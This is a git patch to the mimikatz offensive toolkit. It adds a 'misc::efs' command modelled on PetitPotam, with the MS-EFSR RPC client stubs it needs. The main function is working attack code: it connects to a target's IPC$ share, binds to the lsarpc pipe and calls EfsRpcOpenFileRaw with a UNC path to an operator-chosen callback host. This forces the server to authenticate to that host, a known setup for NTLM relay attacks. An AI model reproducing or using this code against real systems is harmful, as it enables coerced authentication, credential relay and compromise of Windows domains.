From dc1e3347a5606115b3419b529e5f9df46a9eb7f8 Mon Sep 17 00:00:00 2001 From: Benjamin DELPY Date: Fri, 23 Jul 2021 01:26:49 +0200 Subject: [PATCH] [new] mimikatz misc::efs to play with [MS-EFSR], inspired by @topotam work on PetitPotam --- mimikatz/mimikatz.vcxproj | 4 +- mimikatz/mimikatz.vcxproj.filters | 6 ++ mimikatz/modules/kuhl_m_misc.c | 122 +++++++++++++++++++++++++++++ mimikatz/modules/kuhl_m_misc.h | 2 + modules/kull_m_net.h | 3 +- modules/rpc/kull_m_rpc_ms-efsr.h | 11 +++ modules/rpc/kull_m_rpc_ms-efsr_c.c | 75 ++++++++++++++++++ modules/rpc/kull_m_rpc_ms-par.h | 4 +- 8 files changed, 222 insertions(+), 5 deletions(-) create mode 100644 modules/rpc/kull_m_rpc_ms-efsr.h create mode 100644 modules/rpc/kull_m_rpc_ms-efsr_c.c diff --git a/mimikatz/mimikatz.vcxproj b/mimikatz/mimikatz.vcxproj index 58128f6c..3cf2c5d7 100644 --- a/mimikatz/mimikatz.vcxproj +++ b/mimikatz/mimikatz.vcxproj @@ -101,7 +101,7 @@ false true true - advapi32.lib;bcrypt.lib;cabinet.lib;crypt32.lib;cryptdll.lib;delayimp.lib;dnsapi.lib;fltlib.lib;msxml2.lib;ncrypt.lib;netapi32.lib;ntdsapi.lib;odbc32.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;userenv.lib;version.lib;hid.lib;setupapi.lib;winscard.lib;winsta.lib;wbemuuid.lib;wldap32.lib;wtsapi32.lib;advapi32.hash.lib;msasn1.min.lib;ntdll.min.lib;netapi32.min.lib;%(AdditionalDependencies) + advapi32.lib;bcrypt.lib;cabinet.lib;crypt32.lib;cryptdll.lib;delayimp.lib;dnsapi.lib;fltlib.lib;mpr.lib;msxml2.lib;ncrypt.lib;netapi32.lib;ntdsapi.lib;odbc32.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;userenv.lib;version.lib;hid.lib;setupapi.lib;winscard.lib;winsta.lib;wbemuuid.lib;wldap32.lib;wtsapi32.lib;advapi32.hash.lib;msasn1.min.lib;ntdll.min.lib;netapi32.min.lib;%(AdditionalDependencies) false true NoErrorReport @@ -151,6 +151,7 @@ + @@ -269,6 +270,7 @@ + diff --git a/mimikatz/mimikatz.vcxproj.filters b/mimikatz/mimikatz.vcxproj.filters index c2565c6f..87968706 100644 --- a/mimikatz/mimikatz.vcxproj.filters +++ b/mimikatz/mimikatz.vcxproj.filters @@ -326,6 +326,9 @@ common modules\rpc + + common modules\rpc + @@ -671,6 +674,9 @@ common modules\rpc + + common modules\rpc + diff --git a/mimikatz/modules/kuhl_m_misc.c b/mimikatz/modules/kuhl_m_misc.c index 12477fb9..743c5c8a 100644 --- a/mimikatz/modules/kuhl_m_misc.c +++ b/mimikatz/modules/kuhl_m_misc.c @@ -28,6 +28,7 @@ const KUHL_M_C kuhl_m_c_misc[] = { {kuhl_m_misc_aadcookie, L"aadcookie", NULL}, {kuhl_m_misc_aadcookie_NgcSignWithSymmetricPopKey, L"ngcsign", NULL}, {kuhl_m_misc_spooler, L"spooler", NULL}, + {kuhl_m_misc_efs, L"efs", NULL}, {kuhl_m_misc_printnightmare, L"printnightmare", NULL}, {kuhl_m_misc_sccm_accounts, L"sccm", NULL}, {kuhl_m_misc_shadowcopies, L"shadowcopies", NULL}, @@ -1402,6 +1403,127 @@ NTSTATUS kuhl_m_misc_spooler(int argc, wchar_t * argv[]) return STATUS_SUCCESS; } +// Inspired from PetitPotam (https://github.com/topotam/PetitPotam) by topotam (@topotam77) +NTSTATUS kuhl_m_misc_efs(int argc, wchar_t * argv[]) +{ + NTSTATUS status; + RPC_BINDING_HANDLE hEfsHandle; + PEXIMPORT_CONTEXT_HANDLE hImportCtx; + DWORD dwRet, AuthnSvc; + long ret = 0; + NETRESOURCE nr = {0, RESOURCETYPE_DISK, 0, 0, NULL, NULL, NULL, NULL}; + LPCWSTR szUser, szPassword, szRemote = NULL, szEndpoint, szCallbackTo; + PWSTR szCallbackToShare; + + SEC_WINNT_AUTH_IDENTITY secIdentity = {NULL, 0, NULL, 0, NULL, 0, SEC_WINNT_AUTH_IDENTITY_UNICODE}; + + if(kull_m_string_args_byName(argc, argv, L"authuser", &szUser, NULL)) + { + AuthnSvc = RPC_C_AUTHN_GSS_NEGOTIATE; + kprintf(L"[auth ] Explicit authentication\n"); + kprintf(L"[auth ] Username: %s\n", szUser); + secIdentity.User = (USHORT *) szUser; + secIdentity.UserLength = lstrlen(szUser); + + if(kull_m_string_args_byName(argc, argv, L"authpassword", &szPassword, NULL)) + { + kprintf(L"[auth ] Password: %s\n", szPassword); + secIdentity.Password = (USHORT *) szPassword; + secIdentity.PasswordLength = lstrlen(szPassword); + } + } + else if(kull_m_string_args_byName(argc, argv, L"noauth", NULL, NULL)) + { + AuthnSvc = RPC_C_AUTHN_NONE; + kprintf(L"[auth ] None\n"); + szUser = szPassword = L""; + } + else + { + AuthnSvc = RPC_C_AUTHN_DEFAULT; + kprintf(L"[auth ] Default (current)\n"); + szUser = szPassword = NULL; + } + + kull_m_string_args_byName(argc, argv, L"endpoint", &szEndpoint, L"\\pipe\\lsarpc"); + kprintf(L"[ rpc ] Endpoint: %s\n", szEndpoint); + + if(kull_m_string_args_byName(argc, argv, L"server", &szRemote, NULL) || kull_m_string_args_byName(argc, argv, L"target", &szRemote, NULL)) + { + if(kull_m_string_args_byName(argc, argv, L"connect", &szCallbackTo, NULL) || kull_m_string_args_byName(argc, argv, L"callback", &szCallbackTo, NULL)) + { + if(kull_m_string_sprintf(&nr.lpRemoteName, L"\\\\%s\\IPC$", szRemote)) + { + if(kull_m_string_sprintf(&szCallbackToShare, L"\\\\%s\\" MIMIKATZ L"\\" MIMIKATZ, szCallbackTo)) + { + kprintf(L"[trans] Disconnect eventual IPC: "); + dwRet = WNetCancelConnection2(nr.lpRemoteName, 0, TRUE); + if((dwRet == NO_ERROR) || (dwRet == ERROR_NOT_CONNECTED)) + { + kprintf(L"OK\n[trans] Connect to IPC: "); + dwRet = WNetAddConnection2(&nr, szPassword, szUser, CONNECT_TEMPORARY); + if(dwRet == NO_ERROR) + { + kprintf(L"OK\n"); + if(kull_m_rpc_createBinding(NULL, L"ncacn_np", szRemote, szEndpoint, L"host", TRUE, AuthnSvc, secIdentity.UserLength ? &secIdentity : NULL, RPC_C_IMP_LEVEL_DEFAULT, &hEfsHandle, NULL)) + { + kprintf(L"[ rpc ] Resolve Endpoint: "); + status = RpcEpResolveBinding(hEfsHandle, &efsrpc_v1_0_c_ifspec); + if(status == RPC_S_OK) + { + kprintf(L"OK\n\n"); + RpcTryExcept + { + ret = EfsRpcOpenFileRaw(hEfsHandle, &hImportCtx, szCallbackToShare, 0); + if(ret == ERROR_BAD_NETPATH) + { + kprintf(L"Remote server reported bad network path! (OK)\n> Server (%s) may have tried to authenticate (to: %s)\n", szRemote, szCallbackTo); + } + else if(ret == 0) + { + PRINT_ERROR(L"EfsRpcOpenFileRaw is a success, really? (not normal)\n"); + EfsRpcCloseRaw(&hEfsHandle); + } + else + { + PRINT_ERROR(L"EfsRpcOpenFileRaw: ", ret); + } + } + RpcExcept(RPC_EXCEPTION) + PRINT_ERROR(L"RPC Exception: 0x%08x (%u)\n", RpcExceptionCode(), RpcExceptionCode()); + RpcEndExcept + + kprintf(L"\n"); + } + else PRINT_ERROR(L"RpcEpResolveBinding: 0x%08x\n", status); + + kull_m_rpc_deleteBinding(&hEfsHandle); + } + + kprintf(L"[trans] Disconnect IPC: "); + dwRet = WNetCancelConnection2(nr.lpRemoteName, 0, TRUE); + if(dwRet == NO_ERROR) + { + kprintf(L"OK\n"); + } + else PRINT_ERROR(L"WNetCancelConnection2: 0x%08x\n"); + } + else PRINT_ERROR(L"WNetAddConnection2:%u\n", dwRet); + } + else PRINT_ERROR(L"WNetCancelConnection2: %u\n", dwRet); + + LocalFree(szCallbackToShare); + } + LocalFree(nr.lpRemoteName); + } + } + else PRINT_ERROR(L"missing /connect argument to specify notifications target"); + } + else PRINT_ERROR(L"missing /server argument to specify spooler server"); + + return STATUS_SUCCESS; +} + NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[]) { RPC_STATUS rpcStatus; diff --git a/mimikatz/modules/kuhl_m_misc.h b/mimikatz/modules/kuhl_m_misc.h index 4baa354c..d9b1ad32 100644 --- a/mimikatz/modules/kuhl_m_misc.h +++ b/mimikatz/modules/kuhl_m_misc.h @@ -15,6 +15,7 @@ #include "../../modules/kull_m_crypto_ngc.h" #include "../../modules/rpc/kull_m_rpc_ms-rprn.h" #include "../../modules/rpc/kull_m_rpc_ms-par.h" +#include "../../modules/rpc/kull_m_rpc_ms-efsr.h" #include #include #pragma warning(push) @@ -45,6 +46,7 @@ NTSTATUS kuhl_m_misc_xor(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_misc_aadcookie(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_misc_aadcookie_NgcSignWithSymmetricPopKey(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_misc_spooler(int argc, wchar_t * argv[]); +NTSTATUS kuhl_m_misc_efs(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_misc_sccm_accounts(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_misc_shadowcopies(int argc, wchar_t * argv[]); diff --git a/modules/kull_m_net.h b/modules/kull_m_net.h index a1588f12..54280e3f 100644 --- a/modules/kull_m_net.h +++ b/modules/kull_m_net.h @@ -212,4 +212,5 @@ NET_API_STATUS NET_API_FUNCTION NetShareEnum(IN LMSTR servername, IN DWORD level NET_API_STATUS NET_API_FUNCTION NetStatisticsGet(IN LPWSTR server, IN LPWSTR service, IN DWORD level, IN DWORD options, OUT LPBYTE *bufptr); NET_API_STATUS NET_API_FUNCTION NetRemoteTOD(IN LPCWSTR UncServerName, OUT PTIME_OF_DAY_INFO *pToD); NET_API_STATUS NET_API_FUNCTION NetServerGetInfo(IN LPWSTR servername, IN DWORD level, OUT LPBYTE *bufptr); -NET_API_STATUS NET_API_FUNCTION NetShareAdd(IN LMSTR servername, IN DWORD level, IN LPBYTE buf, OUT LPDWORD parm_err); \ No newline at end of file +NET_API_STATUS NET_API_FUNCTION NetShareAdd(IN LMSTR servername, IN DWORD level, IN LPBYTE buf, OUT LPDWORD parm_err); +NET_API_STATUS NET_API_FUNCTION NetConnectionEnum(IN LMSTR servername, LMSTR qualifier, DWORD level, LPBYTE *bufptr, DWORD prefmaxlen, LPDWORD entriesread, LPDWORD totalentries, LPDWORD resume_handle); \ No newline at end of file diff --git a/modules/rpc/kull_m_rpc_ms-efsr.h b/modules/rpc/kull_m_rpc_ms-efsr.h new file mode 100644 index 00000000..5debf628 --- /dev/null +++ b/modules/rpc/kull_m_rpc_ms-efsr.h @@ -0,0 +1,11 @@ +#pragma once +#include "kull_m_rpc.h" + +const UUID EFSR_ObjectUUID; + +typedef void *PEXIMPORT_CONTEXT_HANDLE; + +long EfsRpcOpenFileRaw(handle_t binding_h, PEXIMPORT_CONTEXT_HANDLE *hContext, wchar_t *FileName, long Flags); +void EfsRpcCloseRaw(PEXIMPORT_CONTEXT_HANDLE *hContext); + +extern RPC_IF_HANDLE efsrpc_v1_0_c_ifspec; \ No newline at end of file diff --git a/modules/rpc/kull_m_rpc_ms-efsr_c.c b/modules/rpc/kull_m_rpc_ms-efsr_c.c new file mode 100644 index 00000000..1f3bd1aa --- /dev/null +++ b/modules/rpc/kull_m_rpc_ms-efsr_c.c @@ -0,0 +1,75 @@ +#include "kull_m_rpc_ms-efsr.h" + +const UUID EFSR_ObjectUUID = {0xdf1941c5, 0xfe89, 0x4e79, {0xbf, 0x10, 0x46, 0x36, 0x57, 0xac, 0xf4, 0x4d}}; + +#if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64 +typedef struct _ms2Defsr_MIDL_TYPE_FORMAT_STRING { + SHORT Pad; + UCHAR Format[23]; +} ms2Defsr_MIDL_TYPE_FORMAT_STRING; + +typedef struct _ms2Defsr_MIDL_PROC_FORMAT_STRING { + SHORT Pad; + UCHAR Format[93]; +} ms2Defsr_MIDL_PROC_FORMAT_STRING; + +extern const ms2Defsr_MIDL_TYPE_FORMAT_STRING ms2Defsr__MIDL_TypeFormatString; +extern const ms2Defsr_MIDL_PROC_FORMAT_STRING ms2Defsr__MIDL_ProcFormatString; +static const RPC_CLIENT_INTERFACE efsrpc___RpcClientInterface = {sizeof(RPC_CLIENT_INTERFACE), {{0xc681d488, 0xd850, 0x11d0, {0x8c, 0x52, 0x00, 0xc0, 0x4f, 0xd9, 0x0f, 0x7e}}, {1, 0}}, {{0x8a885d04, 0x1ceb, 0x11c9, {0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60}}, {2, 0}}, 0, 0, 0, 0, 0, 0x00000001}; +RPC_IF_HANDLE efsrpc_v1_0_c_ifspec = (RPC_IF_HANDLE)& efsrpc___RpcClientInterface; +static RPC_BINDING_HANDLE efsrpc__MIDL_AutoBindHandle; +static const MIDL_STUB_DESC efsrpc_StubDesc = {(void *) &efsrpc___RpcClientInterface, MIDL_user_allocate, MIDL_user_free, &efsrpc__MIDL_AutoBindHandle, 0, 0, 0, 0, ms2Defsr__MIDL_TypeFormatString.Format, 1, 0x60000, 0, 0x8000253, 0, 0, 0, 0x1, 0, 0, 0}; + +long EfsRpcOpenFileRaw(handle_t binding_h, PEXIMPORT_CONTEXT_HANDLE *hContext, wchar_t *FileName, long Flags) +{ + return (long) NdrClientCall2((PMIDL_STUB_DESC) &efsrpc_StubDesc, (PFORMAT_STRING) &ms2Defsr__MIDL_ProcFormatString.Format[0], binding_h, hContext, FileName, Flags).Simple; +} +void EfsRpcCloseRaw(PEXIMPORT_CONTEXT_HANDLE *hContext) +{ + NdrClientCall2((PMIDL_STUB_DESC) &efsrpc_StubDesc, (PFORMAT_STRING) &ms2Defsr__MIDL_ProcFormatString.Format[54], hContext); +} + +static const ms2Defsr_MIDL_PROC_FORMAT_STRING ms2Defsr__MIDL_ProcFormatString = {0, { + 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x40, 0x00, 0x46, 0x04, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x01, + 0x08, 0x00, 0x06, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x0c, 0x00, 0x48, 0x00, 0x18, 0x00, 0x08, 0x00, 0x70, 0x00, 0x20, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x08, 0x00, + 0x30, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x38, 0x00, 0x40, 0x01, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x00, 0x00, 0x12, 0x00, 0x00, +}}; +static const ms2Defsr_MIDL_TYPE_FORMAT_STRING ms2Defsr__MIDL_TypeFormatString = {0, { + 0x00, 0x00, 0x11, 0x04, 0x02, 0x00, 0x30, 0xa0, 0x00, 0x00, 0x11, 0x08, 0x25, 0x5c, 0x11, 0x04, 0x02, 0x00, 0x30, 0xe1, 0x00, 0x00, 0x00, +}}; +#elif defined(_M_IX86) +typedef struct _ms2Defsr_MIDL_TYPE_FORMAT_STRING { + SHORT Pad; + UCHAR Format[23]; +} ms2Defsr_MIDL_TYPE_FORMAT_STRING; + +typedef struct _ms2Defsr_MIDL_PROC_FORMAT_STRING { + SHORT Pad; + UCHAR Format[89]; +} ms2Defsr_MIDL_PROC_FORMAT_STRING; + +extern const ms2Defsr_MIDL_TYPE_FORMAT_STRING ms2Defsr__MIDL_TypeFormatString; +extern const ms2Defsr_MIDL_PROC_FORMAT_STRING ms2Defsr__MIDL_ProcFormatString; +static const RPC_CLIENT_INTERFACE efsrpc___RpcClientInterface = {sizeof(RPC_CLIENT_INTERFACE), {{0xc681d488, 0xd850, 0x11d0, {0x8c, 0x52, 0x00, 0xc0, 0x4f, 0xd9, 0x0f, 0x7e}}, {1, 0}}, {{0x8a885d04, 0x1ceb, 0x11c9, {0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60}}, {2, 0}}, 0, 0, 0, 0, 0, 0x00000001}; +RPC_IF_HANDLE efsrpc_v1_0_c_ifspec = (RPC_IF_HANDLE)& efsrpc___RpcClientInterface; +static RPC_BINDING_HANDLE efsrpc__MIDL_AutoBindHandle; +static const MIDL_STUB_DESC efsrpc_StubDesc = {(void *)& efsrpc___RpcClientInterface, MIDL_user_allocate, MIDL_user_free, &efsrpc__MIDL_AutoBindHandle, 0, 0, 0, 0, ms2Defsr__MIDL_TypeFormatString.Format, 1, 0x60000, 0, 0x8000253, 0, 0, 0, 0x1, 0, 0, 0}; +#pragma optimize("", off) +long EfsRpcOpenFileRaw(handle_t binding_h, PEXIMPORT_CONTEXT_HANDLE *hContext, wchar_t *FileName, long Flags) +{ + return (long) NdrClientCall2((PMIDL_STUB_DESC) &efsrpc_StubDesc, (PFORMAT_STRING) &ms2Defsr__MIDL_ProcFormatString.Format[0], (unsigned char *) &binding_h).Simple; +} +void EfsRpcCloseRaw(PEXIMPORT_CONTEXT_HANDLE *hContext) +{ + NdrClientCall2((PMIDL_STUB_DESC) &efsrpc_StubDesc, (PFORMAT_STRING) &ms2Defsr__MIDL_ProcFormatString.Format[52], (unsigned char *) &hContext); +} +#pragma optimize("", on) +static const ms2Defsr_MIDL_PROC_FORMAT_STRING ms2Defsr__MIDL_ProcFormatString = {0, { + 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x40, 0x00, 0x46, 0x04, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x01, 0x04, 0x00, + 0x06, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x0c, 0x00, 0x48, 0x00, 0x0c, 0x00, 0x08, 0x00, 0x70, 0x00, 0x10, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x04, 0x00, 0x30, 0xe0, + 0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x38, 0x00, 0x40, 0x01, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x00, 0x00, 0x12, 0x00, 0x00, +}}; +static const ms2Defsr_MIDL_TYPE_FORMAT_STRING ms2Defsr__MIDL_TypeFormatString = {0, { + 0x00, 0x00, 0x11, 0x04, 0x02, 0x00, 0x30, 0xa0, 0x00, 0x00, 0x11, 0x08, 0x25, 0x5c, 0x11, 0x04, 0x02, 0x00, 0x30, 0xe1, 0x00, 0x00, 0x00, +}}; +#endif \ No newline at end of file diff --git a/modules/rpc/kull_m_rpc_ms-par.h b/modules/rpc/kull_m_rpc_ms-par.h index c58a611c..a4fbf66d 100644 --- a/modules/rpc/kull_m_rpc_ms-par.h +++ b/modules/rpc/kull_m_rpc_ms-par.h @@ -43,6 +43,4 @@ DWORD RpcAsyncClosePrinter(PRINTER_HANDLE *phPrinter); DWORD RpcAsyncAddPrinterDriver(handle_t hRemoteBinding, wchar_t *pName, DRIVER_CONTAINER *pDriverContainer, DWORD dwFileCopyFlags); DWORD RpcAsyncEnumPrinterDrivers(handle_t hRemoteBinding, wchar_t *pName, wchar_t *pEnvironment, DWORD Level, unsigned char *pDrivers, DWORD cbBuf, DWORD *pcbNeeded, DWORD *pcReturned); DWORD RpcAsyncGetPrinterDriverDirectory(handle_t hRemoteBinding, wchar_t *pName, wchar_t *pEnvironment, DWORD Level, unsigned char *pDriverDirectory, DWORD cbBuf, DWORD *pcbNeeded); -DWORD RpcAsyncDeletePrinterDriverEx(handle_t hRemoteBinding, wchar_t *pName, wchar_t *pEnvironment, wchar_t *pDriverName, DWORD dwDeleteFlag, DWORD dwVersionNum); - -extern RPC_IF_HANDLE IRemoteWinspool_v1_0_c_ifspec; \ No newline at end of file +DWORD RpcAsyncDeletePrinterDriverEx(handle_t hRemoteBinding, wchar_t *pName, wchar_t *pEnvironment, wchar_t *pDriverName, DWORD dwDeleteFlag, DWORD dwVersionNum); \ No newline at end of file